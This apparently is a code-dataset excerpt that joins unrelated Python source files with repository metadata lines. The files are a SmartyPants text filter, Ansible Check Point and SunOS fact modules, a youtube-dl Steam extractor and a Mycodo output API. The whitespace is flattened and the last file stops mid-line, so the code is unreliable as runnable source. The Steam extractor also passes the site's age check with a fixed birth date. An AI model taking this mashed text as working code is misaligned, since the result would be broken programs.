closing_double_quotes_regex = re.compile(r""" #(%s)? # character that indicates the quote should be closing " (?=\s) """ % (close_class,), re.VERBOSE) str = closing_double_quotes_regex.sub(r"""&#8221;""", str) closing_double_quotes_regex = re.compile(r""" (%s) # character that indicates the quote should be closing " """ % (close_class,), re.VERBOSE) str = closing_double_quotes_regex.sub(r"""\1&#8221;""", str) # Any remaining quotes should be opening ones. str = re.sub(r'"', r"""&#8220;""", str) return str def educateBackticks(str): """ Parameter: String. Returns: The string, with ``backticks'' -style double quotes translated into HTML curly quote entities. Example input: ``Isn't this fun?'' Example output: &#8220;Isn't this fun?&#8221; """ str = re.sub(r"""``""", r"""&#8220;""", str) str = re.sub(r"""''""", r"""&#8221;""", str) return str def educateSingleBackticks(str): """ Parameter: String. Returns: The string, with `backticks' -style single quotes translated into HTML curly quote entities. Example input: `Isn't this fun?' Example output: &#8216;Isn&#8217;t this fun?&#8217; """ str = re.sub(r"""`""", r"""&#8216;""", str) str = re.sub(r"""'""", r"""&#8217;""", str) return str def educateDashes(str): """ Parameter: String. Returns: The string, with each instance of "--" translated to an em-dash HTML entity. """ str = re.sub(r"""---""", r"""&#8211;""", str) # en (yes, backwards) str = re.sub(r"""--""", r"""&#8212;""", str) # em (yes, backwards) return str def educateDashesOldSchool(str): """ Parameter: String. Returns: The string, with each instance of "--" translated to an en-dash HTML entity, and each "---" translated to an em-dash HTML entity. """ str = re.sub(r"""---""", r"""&#8212;""", str) # em (yes, backwards) str = re.sub(r"""--""", r"""&#8211;""", str) # en (yes, backwards) return str def educateDashesOldSchoolInverted(str): """ Parameter: String. Returns: The string, with each instance of "--" translated to an em-dash HTML entity, and each "---" translated to an en-dash HTML entity. Two reasons why: First, unlike the en- and em-dash syntax supported by EducateDashesOldSchool(), it's compatible with existing entries written before SmartyPants 1.1, back when "--" was only used for em-dashes. Second, em-dashes are more common than en-dashes, and so it sort of makes sense that the shortcut should be shorter to type. (Thanks to Aaron Swartz for the idea.) """ str = re.sub(r"""---""", r"""&#8211;""", str) # em str = re.sub(r"""--""", r"""&#8212;""", str) # en return str def educateEllipses(str): """ Parameter: String. Returns: The string, with each instance of "..." translated to an ellipsis HTML entity. Example input: Huh...? Example output: Huh&#8230;? """ str = re.sub(r"""\.\.\.""", r"""&#8230;""", str) str = re.sub(r"""\. \. \.""", r"""&#8230;""", str) return str def stupefyEntities(str): """ Parameter: String. Returns: The string, with each SmartyPants HTML entity translated to its ASCII counterpart. Example input: &#8220;Hello &#8212; world.&#8221; Example output: "Hello -- world." """ str = re.sub(r"""&#8211;""", r"""-""", str) # en-dash str = re.sub(r"""&#8212;""", r"""--""", str) # em-dash str = re.sub(r"""&#8216;""", r"""'""", str) # open single quote str = re.sub(r"""&#8217;""", r"""'""", str) # close single quote str = re.sub(r"""&#8220;""", r'''"''', str) # open double quote str = re.sub(r"""&#8221;""", r'''"''', str) # close double quote str = re.sub(r"""&#8230;""", r"""...""", str)# ellipsis return str def processEscapes(str): r""" Parameter: String. Returns: The string, with after processing the following backslash escape sequences. This is useful if you want to force a "dumb" quote or other character to appear. Escape Value ------ ----- \\ &#92; \" &#34; \' &#39; \. &#46; \- &#45; \` &#96; """ str = re.sub(r"""\\\\""", r"""&#92;""", str) str = re.sub(r'''\\"''', r"""&#34;""", str) str = re.sub(r"""\\'""", r"""&#39;""", str) str = re.sub(r"""\\\.""", r"""&#46;""", str) str = re.sub(r"""\\-""", r"""&#45;""", str) str = re.sub(r"""\\`""", r"""&#96;""", str) return str def _tokenize(str): """ Parameter: String containing HTML markup. Returns: Reference to an array of the tokens comprising the input string. Each token is either a tag (possibly with nested, tags contained therein, such as <a href="<MTFoo>">, or a run of text between tags. Each element of the array is a two-element array; the first is either 'tag' or 'text'; the second is the actual value. Based on the _tokenize() subroutine from Brad Choate's MTRegex plugin. <http://www.bradchoate.com/past/mtregex.php> """ pos = 0 length = len(str) tokens = [] depth = 6 nested_tags = "|".join(['(?:<(?:[^<>]',] * depth) + (')*>)' * depth) #match = r"""(?: <! ( -- .*? -- \s* )+ > ) | # comments # (?: <\? .*? \?> ) | # directives # %s # nested tags """ % (nested_tags,) tag_soup = re.compile(r"""([^<]*)(<[^>]*>)""") token_match = tag_soup.search(str) previous_end = 0 while token_match is not None: if token_match.group(1): tokens.append(['text', token_match.group(1)]) tokens.append(['tag', token_match.group(2)]) previous_end = token_match.end() token_match = tag_soup.search(str, token_match.end()) if previous_end < len(str): tokens.append(['text', str[previous_end:]]) return tokens if __name__ == "__main__": import locale try: locale.setlocale(locale.LC_ALL, '') except: pass from docutils.core import publish_string docstring_html = publish_string(__doc__, writer_name='html') print docstring_html # Unit test output goes out stderr. No worries. import unittest sp = smartyPants class TestSmartypantsAllAttributes(unittest.TestCase): # the default attribute is "1", which means "all". def test_dates(self): self.assertEqual(sp("1440-80's"), "1440-80&#8217;s") self.assertEqual(sp("1440-'80s"), "1440-&#8216;80s") self.assertEqual(sp("1440---'80s"), "1440&#8211;&#8216;80s") self.assertEqual(sp("1960s"), "1960s") # no effect. self.assertEqual(sp("1960's"), "1960&#8217;s") self.assertEqual(sp("one two '60s"), "one two &#8216;60s") self.assertEqual(sp("'60s"), "&#8216;60s") def test_skip_tags(self): self.assertEqual( sp("""<script type="text/javascript">\n<!--\nvar href = "http://www.google.com";\nvar linktext = "google";\ndocument.write('<a href="' + href + '">' + linktext + "</a>");\n//-->\n</script>"""), """<script type="text/javascript">\n<!--\nvar href = "http://www.google.com";\nvar linktext = "google";\ndocument.write('<a href="' + href + '">' + linktext + "</a>");\n//-->\n</script>""") self.assertEqual( sp("""<p>He said &quot;Let's write some code.&quot; This code here <code>if True:\n\tprint &quot;Okay&quot;</code> is python code.</p>"""), """<p>He said &#8220;Let&#8217;s write some code.&#8221; This code here <code>if True:\n\tprint &quot;Okay&quot;</code> is python code.</p>""") def test_ordinal_numbers(self): self.assertEqual(sp("21st century"), "21st century") # no effect. self.assertEqual(sp("3rd"), "3rd") # no effect. def test_educated_quotes(self): self.assertEqual(sp('''"Isn't this fun?"'''), '''&#8220;Isn&#8217;t this fun?&#8221;''') unittest.main() __author__ = "Chad Miller <[email protected]>" __version__ = "1.5_1.6: Fri, 27 Jul 2007 07:06:40 -0400" __url__ = "http://wiki.chad.org/SmartyPantsPy" __description__ = "Smart-quotes, smart-ellipses, and smart-dashes for weblog entries in pyblosxom"
mit
resmo/ansible
lib/ansible/module_utils/network/checkpoint/checkpoint.py
8
19463
# This code is part of Ansible, but is an independent component. # This particular file snippet, and this file snippet only, is BSD licensed. # Modules you write using this snippet, which is embedded dynamically by Ansible # still belong to the author of the module, and may assign their own license # to the complete work. # # (c) 2018 Red Hat Inc. # # Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. # IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE # USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # from __future__ import (absolute_import, division, print_function) import time from ansible.module_utils.connection import Connection checkpoint_argument_spec_for_objects = dict( auto_publish_session=dict(type='bool'), wait_for_task=dict(type='bool', default=True), state=dict(type='str', choices=['present', 'absent'], default='present'), version=dict(type='str') ) checkpoint_argument_spec_for_facts = dict( version=dict(type='str') ) checkpoint_argument_spec_for_commands = dict( wait_for_task=dict(type='bool', default=True), version=dict(type='str') ) delete_params = ['name', 'uid', 'layer', 'exception-group-name', 'layer', 'rule-name'] # send the request to checkpoint def send_request(connection, version, url, payload=None): code, response = connection.send_request('/web_api/' + version + url, payload) return code, response # get the payload from the user parameters def is_checkpoint_param(parameter): if parameter == 'auto_publish_session' or \ parameter == 'state' or \ parameter == 'wait_for_task' or \ parameter == 'version': return False return True # build the payload from the parameters which has value (not None), and they are parameter of checkpoint API as well def get_payload_from_parameters(params): payload = {} for parameter in params: parameter_value = params[parameter] if parameter_value and is_checkpoint_param(parameter): if isinstance(parameter_value, dict): payload[parameter.replace("_", "-")] = get_payload_from_parameters(parameter_value) elif isinstance(parameter_value, list) and len(parameter_value) != 0 and isinstance(parameter_value[0], dict): payload_list = [] for element_dict in parameter_value: payload_list.append(get_payload_from_parameters(element_dict)) payload[parameter.replace("_", "-")] = payload_list else: payload[parameter.replace("_", "-")] = parameter_value return payload # wait for task def wait_for_task(module, version, connection, task_id): task_id_payload = {'task-id': task_id} task_complete = False current_iteration = 0 max_num_iterations = 300 # As long as there is a task in progress while not task_complete and current_iteration < max_num_iterations: current_iteration += 1 # Check the status of the task code, response = send_request(connection, version, 'show-task', task_id_payload) attempts_counter = 0 while code != 200: if attempts_counter < 5: attempts_counter += 1 time.sleep(2) code, response = send_request(connection, version, 'show-task', task_id_payload) else: response['message'] = "ERROR: Failed to handle asynchronous tasks as synchronous, tasks result is" \ " undefined.\n" + response['message'] module.fail_json(msg=response) # Count the number of tasks that are not in-progress completed_tasks = 0 for task in response['tasks']: if task['status'] == 'failed': module.fail_json(msg='Task {0} with task id {1} failed. Look at the logs for more details' .format(task['task-name'], task['task-id'])) if task['status'] == 'in progress': break completed_tasks += 1 # Are we done? check if all tasks are completed if completed_tasks == len(response["tasks"]): task_complete = True else: time.sleep(2) # Wait for two seconds if not task_complete: module.fail_json(msg="ERROR: Timeout.\nTask-id: {0}.".format(task_id_payload['task-id'])) # handle publish command, and wait for it to end if the user asked so def handle_publish(module, connection, version): if module.params['auto_publish_session']: publish_code, publish_response = send_request(connection, version, 'publish') if publish_code != 200: module.fail_json(msg=publish_response) if module.params['wait_for_task']: wait_for_task(module, version, connection, publish_response['task-id']) # handle a command def api_command(module, command): payload = get_payload_from_parameters(module.params) connection = Connection(module._socket_path) # if user insert a specific version, we add it to the url version = ('v' + module.params['version'] + '/') if module.params.get('version') else '' code, response = send_request(connection, version, command, payload) result = {'changed': True} if code == 200: if module.params['wait_for_task']: if 'task-id' in response: wait_for_task(module, version, connection, response['task-id']) elif 'tasks' in response: for task_id in response['tasks']: wait_for_task(module, version, connection, task_id) result[command] = response else: module.fail_json(msg='Checkpoint device returned error {0} with message {1}'.format(code, response)) return result # handle api call facts def api_call_facts(module, api_call_object, api_call_object_plural_version): payload = get_payload_from_parameters(module.params) connection = Connection(module._socket_path) # if user insert a specific version, we add it to the url version = ('v' + module.params['version'] + '/') if module.params['version'] else '' # if there is neither name nor uid, the API command will be in plural version (e.g. show-hosts instead of show-host) if payload.get("name") is None and payload.get("uid") is None: api_call_object = api_call_object_plural_version code, response = send_request(connection, version, 'show-' + api_call_object, payload) if code != 200: module.fail_json(msg='Checkpoint device returned error {0} with message {1}'.format(code, response)) result = {api_call_object: response} return result # handle api call def api_call(module, api_call_object): payload = get_payload_from_parameters(module.params) connection = Connection(module._socket_path) result = {'changed': False} if module.check_mode: return result # if user insert a specific version, we add it to the url version = ('v' + module.params['version'] + '/') if module.params.get('version') else '' payload_for_equals = {'type': api_call_object, 'params': payload} equals_code, equals_response = send_request(connection, version, 'equals', payload_for_equals) result['checkpoint_session_uid'] = connection.get_session_uid() # if code is 400 (bad request) or 500 (internal error) - fail if equals_code == 400 or equals_code == 500: module.fail_json(msg=equals_response) if equals_code == 404 and equals_response['code'] == 'generic_err_command_not_found': module.fail_json(msg='Relevant hotfix is not installed on Check Point server. See sk114661 on Check Point Support Center.') if module.params['state'] == 'present': if equals_code == 200: if not equals_response['equals']: code, response = send_request(connection, version, 'set-' + api_call_object, payload) if code != 200: module.fail_json(msg=response) handle_publish(module, connection, version) result['changed'] = True result[api_call_object] = response else: # objects are equals and there is no need for set request pass elif equals_code == 404: code, response = send_request(connection, version, 'add-' + api_call_object, payload) if code != 200: module.fail_json(msg=response) handle_publish(module, connection, version) result['changed'] = True result[api_call_object] = response elif module.params['state'] == 'absent': if equals_code == 200: payload_for_delete = get_copy_payload_with_some_params(payload, delete_params) code, response = send_request(connection, version, 'delete-' + api_call_object, payload_for_delete) if code != 200: module.fail_json(msg=response) handle_publish(module, connection, version) result['changed'] = True elif equals_code == 404: # no need to delete because object dose not exist pass return result # get the position in integer format def get_number_from_position(payload, connection, version): if 'position' in payload: position = payload['position'] else: return None # This code relevant if we will decide to support 'top' and 'bottom' in position # position_number = None # # if position is not int, convert it to int. There are several cases: "top" # if position == 'top': # position_number = 1 # elif position == 'bottom': # payload_for_show_access_rulebase = {'name': payload['layer'], 'limit': 0} # code, response = send_request(connection, version, 'show-access-rulebase', payload_for_show_access_rulebase) # position_number = response['total'] # elif isinstance(position, str): # # here position is a number in format str (e.g. "5" and not 5) # position_number = int(position) # else: # # here position suppose to be int # position_number = position # # return position_number return int(position) # is the param position (if the user inserted it) equals between the object and the user input def is_equals_with_position_param(payload, connection, version, api_call_object): position_number = get_number_from_position(payload, connection, version) # if there is no position param, then it's equals in vacuous truth if position_number is None: return True payload_for_show_access_rulebase = {'name': payload['layer'], 'offset': position_number - 1, 'limit': 1} rulebase_command = 'show-' + api_call_object.split('-')[0] + '-rulebase' # if it's threat-exception, we change a little the payload and the command if api_call_object == 'threat-exception': payload_for_show_access_rulebase['rule-name'] = payload['rule-name'] rulebase_command = 'show-threat-rule-exception-rulebase' code, response = send_request(connection, version, rulebase_command, payload_for_show_access_rulebase) # if true, it means there is no rule in the position that the user inserted, so I return false, and when we will try to set # the rule, the API server will get throw relevant error if response['total'] < position_number: return False rule = response['rulebase'][0] while 'rulebase' in rule: rule = rule['rulebase'][0] # if the names of the exist rule and the user input rule are equals, then it's means that their positions are equals so I # return True. and there is no way that there is another rule with this name cause otherwise the 'equals' command would fail if rule['name'] == payload['name']: return True else: return False # get copy of the payload without some of the params def get_copy_payload_without_some_params(payload, params_to_remove): copy_payload = dict(payload) for param in params_to_remove: if param in copy_payload: del copy_payload[param] return copy_payload # get copy of the payload with only some of the params def get_copy_payload_with_some_params(payload, params_to_insert): copy_payload = {} for param in params_to_insert: if param in payload: copy_payload[param] = payload[param] return copy_payload # is equals with all the params including action and position def is_equals_with_all_params(payload, connection, version, api_call_object, is_access_rule): if is_access_rule and 'action' in payload: payload_for_show = get_copy_payload_with_some_params(payload, ['name', 'uid', 'layer']) code, response = send_request(connection, version, 'show-' + api_call_object, payload_for_show) exist_action = response['action']['name'] if exist_action != payload['action']: return False if not is_equals_with_position_param(payload, connection, version, api_call_object): return False return True # handle api call for rule def api_call_for_rule(module, api_call_object): is_access_rule = True if 'access' in api_call_object else False payload = get_payload_from_parameters(module.params) connection = Connection(module._socket_path) result = {'changed': False} if module.check_mode: return result # if user insert a specific version, we add it to the url version = ('v' + module.params['version'] + '/') if module.params.get('version') else '' if is_access_rule: copy_payload_without_some_params = get_copy_payload_without_some_params(payload, ['action', 'position']) else: copy_payload_without_some_params = get_copy_payload_without_some_params(payload, ['position']) payload_for_equals = {'type': api_call_object, 'params': copy_payload_without_some_params} equals_code, equals_response = send_request(connection, version, 'equals', payload_for_equals) result['checkpoint_session_uid'] = connection.get_session_uid() # if code is 400 (bad request) or 500 (internal error) - fail if equals_code == 400 or equals_code == 500: module.fail_json(msg=equals_response) if equals_code == 404 and equals_response['code'] == 'generic_err_command_not_found': module.fail_json(msg='Relevant hotfix is not installed on Check Point server. See sk114661 on Check Point Support Center.') if module.params['state'] == 'present': if equals_code == 200: if equals_response['equals']: if not is_equals_with_all_params(payload, connection, version, api_call_object, is_access_rule): equals_response['equals'] = False if not equals_response['equals']: # if user insert param 'position' and needed to use the 'set' command, change the param name to 'new-position' if 'position' in payload: payload['new-position'] = payload['position'] del payload['position'] code, response = send_request(connection, version, 'set-' + api_call_object, payload) if code != 200: module.fail_json(msg=response) handle_publish(module, connection, version) result['changed'] = True result[api_call_object] = response else: # objects are equals and there is no need for set request pass elif equals_code == 404: code, response = send_request(connection, version, 'add-' + api_call_object, payload) if code != 200: module.fail_json(msg=response) handle_publish(module, connection, version) result['changed'] = True result[api_call_object] = response elif module.params['state'] == 'absent': if equals_code == 200: payload_for_delete = get_copy_payload_with_some_params(payload, delete_params) code, response = send_request(connection, version, 'delete-' + api_call_object, payload_for_delete) if code != 200: module.fail_json(msg=response) handle_publish(module, connection, version) result['changed'] = True elif equals_code == 404: # no need to delete because object dose not exist pass return result # handle api call facts for rule def api_call_facts_for_rule(module, api_call_object, api_call_object_plural_version): payload = get_payload_from_parameters(module.params) connection = Connection(module._socket_path) # if user insert a specific version, we add it to the url version = ('v' + module.params['version'] + '/') if module.params['version'] else '' # if there is neither name nor uid, the API command will be in plural version (e.g. show-hosts instead of show-host) if payload.get("layer") is None: api_call_object = api_call_object_plural_version code, response = send_request(connection, version, 'show-' + api_call_object, payload) if code != 200: module.fail_json(msg='Checkpoint device returned error {0} with message {1}'.format(code, response)) result = {api_call_object: response} return result # The code from here till EOF will be deprecated when Rikis' modules will be deprecated checkpoint_argument_spec = dict(auto_publish_session=dict(type='bool', default=True), policy_package=dict(type='str', default='standard'), auto_install_policy=dict(type='bool', default=True), targets=dict(type='list') ) def publish(connection, uid=None): payload = None if uid: payload = {'uid': uid} connection.send_request('/web_api/publish', payload) def discard(connection, uid=None): payload = None if uid: payload = {'uid': uid} connection.send_request('/web_api/discard', payload) def install_policy(connection, policy_package, targets): payload = {'policy-package': policy_package, 'targets': targets} connection.send_request('/web_api/install-policy', payload)
gpl-3.0
jbuchbinder/youtube-dl
youtube_dl/extractor/steam.py
61
4662
from __future__ import unicode_literals import re from .common import InfoExtractor from ..utils import ( ExtractorError, unescapeHTML, ) class SteamIE(InfoExtractor): _VALID_URL = r"""(?x) https?://store\.steampowered\.com/ (agecheck/)? (?P<urltype>video|app)/ #If the page is only for videos or for a game (?P<gameID>\d+)/? (?P<videoID>\d*)(?P<extra>\??) # For urltype == video we sometimes get the videoID | https?://(?:www\.)?steamcommunity\.com/sharedfiles/filedetails/\?id=(?P<fileID>[0-9]+) """ _VIDEO_PAGE_TEMPLATE = 'http://store.steampowered.com/video/%s/' _AGECHECK_TEMPLATE = 'http://store.steampowered.com/agecheck/video/%s/?snr=1_agecheck_agecheck__age-gate&ageDay=1&ageMonth=January&ageYear=1970' _TESTS = [{ 'url': 'http://store.steampowered.com/video/105600/', 'playlist': [ { 'md5': 'f870007cee7065d7c76b88f0a45ecc07', 'info_dict': { 'id': '81300', 'ext': 'flv', 'title': 'Terraria 1.1 Trailer', 'playlist_index': 1, } }, { 'md5': '61aaf31a5c5c3041afb58fb83cbb5751', 'info_dict': { 'id': '80859', 'ext': 'flv', 'title': 'Terraria Trailer', 'playlist_index': 2, } } ], 'params': { 'playlistend': 2, } }, { 'url': 'http://steamcommunity.com/sharedfiles/filedetails/?id=242472205', 'info_dict': { 'id': 'WB5DvDOOvAY', 'ext': 'mp4', 'upload_date': '20140329', 'title': 'FRONTIERS - Final Greenlight Trailer', 'description': 'md5:dc96a773669d0ca1b36c13c1f30250d9', 'uploader': 'AAD Productions', 'uploader_id': 'AtomicAgeDogGames', } }] def _real_extract(self, url): m = re.match(self._VALID_URL, url) fileID = m.group('fileID') if fileID: videourl = url playlist_id = fileID else: gameID = m.group('gameID') playlist_id = gameID videourl = self._VIDEO_PAGE_TEMPLATE % playlist_id webpage = self._download_webpage(videourl, playlist_id) if re.search('<h2>Please enter your birth date to continue:</h2>', webpage) is not None: videourl = self._AGECHECK_TEMPLATE % playlist_id self.report_age_confirmation() webpage = self._download_webpage(videourl, playlist_id) if fileID: playlist_title = self._html_search_regex( r'<div class="workshopItemTitle">(.+)</div>', webpage, 'title') mweb = re.finditer(r'''(?x) 'movie_(?P<videoID>[0-9]+)':\s*\{\s* YOUTUBE_VIDEO_ID:\s*"(?P<youtube_id>[^"]+)", ''', webpage) videos = [{ '_type': 'url', 'url': vid.group('youtube_id'), 'ie_key': 'Youtube', } for vid in mweb] else: playlist_title = self._html_search_regex( r'<h2 class="pageheader">(.*?)</h2>', webpage, 'game title') mweb = re.finditer(r'''(?x) 'movie_(?P<videoID>[0-9]+)':\s*\{\s* FILENAME:\s*"(?P<videoURL>[\w:/\.\?=]+)" (,\s*MOVIE_NAME:\s*\"(?P<videoName>[\w:/\.\?=\+-]+)\")?\s*\}, ''', webpage) titles = re.finditer( r'<span class="title">(?P<videoName>.+?)</span>', webpage) thumbs = re.finditer( r'<img class="movie_thumb" src="(?P<thumbnail>.+?)">', webpage) videos = [] for vid, vtitle, thumb in zip(mweb, titles, thumbs): video_id = vid.group('videoID') title = vtitle.group('videoName') video_url = vid.group('videoURL') video_thumb = thumb.group('thumbnail') if not video_url: raise ExtractorError('Cannot find video url for %s' % video_id) videos.append({ 'id': video_id, 'url': video_url, 'ext': 'flv', 'title': unescapeHTML(title), 'thumbnail': video_thumb }) if not videos: raise ExtractorError('Could not find any videos') return self.playlist_result(videos, playlist_id, playlist_title)
unlicense
kizniche/Mycodo
mycodo/mycodo_flask/api/output.py
1
9541
# coding=utf-8 import logging import traceback import flask_login from flask_accept import accept from flask_restx import Resource from flask_restx import abort from flask_restx import fields from mycodo.databases.models import Output from mycodo.databases.models import OutputChannel from mycodo.databases.models.output import OutputChannelSchema from mycodo.databases.models.output import OutputSchema from mycodo.mycodo_client import DaemonControl from mycodo.mycodo_flask.api import api from mycodo.mycodo_flask.api import default_responses from mycodo.mycodo_flask.api.sql_schema_fields import output_channel_fields from mycodo.mycodo_flask.api.sql_schema_fields import output_fields from mycodo.mycodo_flask.api.utils import get_from_db from mycodo.mycodo_flask.api.utils import return_list_of_dictionaries from mycodo.mycodo_flask.utils import utils_general from mycodo.mycodo_flask.utils.utils_output import get_all_output_states logger = logging.getLogger(__name__) ns_output = api.namespace('outputs', description='Output operations') MODEL_STATES_STATE = ns_output.model('states', { '*': fields.Wildcard(fields.String(description='on, off, or a duty cycle'),) }) MODEL_STATES_CHAN = ns_output.model('channels', { '*': fields.Wildcard(fields.Nested( MODEL_STATES_STATE, description='Dictionary with channel as key and state data as value.')) }) output_list_fields = ns_output.model('Output Fields List', { 'output devices': fields.List(fields.Nested(output_fields)), 'output channels': fields.List(fields.Nested(output_channel_fields)), 'output states': fields.Nested( MODEL_STATES_CHAN, description='Dictionary with ID as key and channel state data as value.') }) output_unique_id_fields = ns_output.model('Output Device Fields List', { 'output device': fields.Nested(output_fields), 'output device channels': fields.List(fields.Nested(output_channel_fields)), 'output device channel states': fields.Nested( MODEL_STATES_STATE, description='Dictionary with channel as key and state data as value.') }) output_set_fields = ns_output.model('Output Modulation Fields', { 'state': fields.Boolean( description='Set a non-PWM output state to on (True) or off (False).', required=False), 'channel': fields.Float( description='The output channel to modulate.', required=True, example=0, min=0), 'duration': fields.Float( description='The duration to keep a non-PWM output on, in seconds.', required=False, example=10.0, exclusiveMin=0), 'duty_cycle': fields.Float( description='The duty cycle to set a PWM output, in percent (%).', required=False, example=50.0, min=0), 'volume': fields.Float( description='The volume to send to an output.', required=False, example=35.0, min=0) }) def return_handler(return_): if return_ is None: return {'message': 'Success'}, 200 elif return_[0] in [0, 'success']: return {'message': 'Success: {}'.format(return_[1])}, 200 elif return_[0] in [1, 'error']: return {'message': 'Fail: {}'.format(return_[1])}, 460 else: return '', 500 @ns_output.route('/') @ns_output.doc(security='apikey', responses=default_responses) class Inputs(Resource): """Output information""" @accept('application/vnd.mycodo.v1+json') @ns_output.marshal_with(output_list_fields) @flask_login.login_required def get(self): """Show all output settings and statuses""" if not utils_general.user_has_permission('view_settings'): abort(403) try: list_data = get_from_db(OutputSchema, Output) list_channels = get_from_db(OutputChannelSchema, OutputChannel) states = get_all_output_states() # Change integer channel keys to strings (flask-restx limitation?) new_state_dict = {} for each_id in states: new_state_dict[each_id] = {} for each_channel in states[each_id]: new_state_dict[each_id][str(each_channel)] = states[each_id][each_channel] if list_data: return {'output devices': list_data, 'output channels': list_channels, 'output states': new_state_dict}, 200 except Exception: abort(500, message='An exception occurred', error=traceback.format_exc()) @ns_output.route('/<string:unique_id>') @ns_output.doc( security='apikey', responses=default_responses, params={'unique_id': 'The unique ID of the output.'} ) class Outputs(Resource): """Output status""" @accept('application/vnd.mycodo.v1+json') @ns_output.marshal_with(output_unique_id_fields) @flask_login.login_required def get(self, unique_id): """Show the settings and status for an output""" if not utils_general.user_has_permission('edit_controllers'): abort(403) try: list_data = get_from_db(OutputSchema, Output, unique_id=unique_id) output_channel_schema = OutputChannelSchema() list_channels = return_list_of_dictionaries( output_channel_schema.dump( OutputChannel.query.filter_by( output_id=unique_id).all(), many=True)) states = get_all_output_states() # Change integer channel keys to strings (flask-restx limitation?) new_state_dict = {} for each_channel in states[unique_id]: new_state_dict[str(each_channel)] = states[unique_id][each_channel] return {'output device': list_data, 'output device channels': list_channels, 'output device channel states': new_state_dict}, 200 except Exception: abort(500, message='An exception occurred', error=traceback.format_exc()) @accept('application/vnd.mycodo.v1+json') @ns_output.expect(output_set_fields) @flask_login.login_required def post(self, unique_id): """Change the state of an output""" if not utils_general.user_has_permission('edit_controllers'): abort(403) control = DaemonControl() state = None channel = None duration = None duty_cycle = None volume = None if ns_output.payload: if 'state' in ns_output.payload: state = ns_output.payload["state"] if state is not None: try: state = bool(state) except Exception: abort(422, message='state must represent a bool value') if 'channel' in ns_output.payload: channel = ns_output.payload["channel"] if channel is not None: try: channel = int(channel) except Exception: abort(422, message='channel does not represent a number') else: channel = 0 if 'duration' in ns_output.payload: duration = ns_output.payload["duration"] if duration is not None: try: duration = float(duration) except Exception: abort(422, message='duration does not represent a number') else: duration = 0 if 'duty_cycle' in ns_output.payload: duty_cycle = ns_output.payload["duty_cycle"] if duty_cycle is not None: try: duty_cycle = float(duty_cycle) if duty_cycle < 0 or duty_cycle > 100: abort(422, message='Required: 0 <= duty_cycle <= 100') except Exception: abort(422, message='duty_cycle does not represent float value') if 'volume' in ns_output.payload: volume = ns_output.payload["volume"] if volume is not None: try: volume = float(volume) except Exception: abort(422, message='volume does not represent float value') try: if state is not None and duration is not None: return_ = control.output_on_off( unique_id, state, output_channel=channel, output_type='sec', amount=duration) elif duty_cycle is not None: return_ = control.output_on( unique_id, output_channel=channel, output_type='pwm', amount=duty_cycle) elif volume is not None: return_ = control.output_on( unique_id, output_channel=channel, output_type='vol', amount=duty_cycle) elif state is not None: return_ = control.output_on_off( unique_id, state, output_channel=channel) else: return {'message': 'Insufficient payload'}, 460 return return_handler(return_) except Exception: abort(500, message='An exception occurred', error=traceback.format_exc())
gpl-3.0
DepthDeluxe/ansible
lib/ansible/module_utils/facts/hardware/sunos.py
64
9586
# This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. from __future__ import (absolute_import, division, print_function) __metaclass__ = type import re from ansible.module_utils.six.moves import reduce from ansible.module_utils.basic import bytes_to_human from ansible.module_utils.facts.utils import get_file_content, get_mount_size from ansible.module_utils.facts.hardware.base import Hardware, HardwareCollector from ansible.module_utils.facts import timeout class SunOSHardware(Hardware): """ In addition to the generic memory and cpu facts, this also sets swap_reserved_mb and swap_allocated_mb that is available from *swap -s*. """ platform = 'SunOS' def populate(self, collected_facts=None): hardware_facts = {} # FIXME: could pass to run_command(environ_update), but it also tweaks the env # of the parent process instead of altering an env provided to Popen() # Use C locale for hardware collection helpers to avoid locale specific number formatting (#24542) self.module.run_command_environ_update = {'LANG': 'C', 'LC_ALL': 'C', 'LC_NUMERIC': 'C'} cpu_facts = self.get_cpu_facts() memory_facts = self.get_memory_facts() dmi_facts = self.get_dmi_facts() device_facts = self.get_device_facts() uptime_facts = self.get_uptime_facts() mount_facts = {} try: mount_facts = self.get_mount_facts() except timeout.TimeoutError: pass hardware_facts.update(cpu_facts) hardware_facts.update(memory_facts) hardware_facts.update(dmi_facts) hardware_facts.update(device_facts) hardware_facts.update(uptime_facts) hardware_facts.update(mount_facts) return hardware_facts def get_cpu_facts(self, collected_facts=None): physid = 0 sockets = {} cpu_facts = {} collected_facts = collected_facts or {} rc, out, err = self.module.run_command("/usr/bin/kstat cpu_info") cpu_facts['processor'] = [] for line in out.splitlines(): if len(line) < 1: continue data = line.split(None, 1) key = data[0].strip() # "brand" works on Solaris 10 & 11. "implementation" for Solaris 9. if key == 'module:': brand = '' elif key == 'brand': brand = data[1].strip() elif key == 'clock_MHz': clock_mhz = data[1].strip() elif key == 'implementation': processor = brand or data[1].strip() # Add clock speed to description for SPARC CPU # FIXME if collected_facts.get('ansible_machine') != 'i86pc': processor += " @ " + clock_mhz + "MHz" if 'ansible_processor' not in collected_facts: cpu_facts['processor'] = [] cpu_facts['processor'].append(processor) elif key == 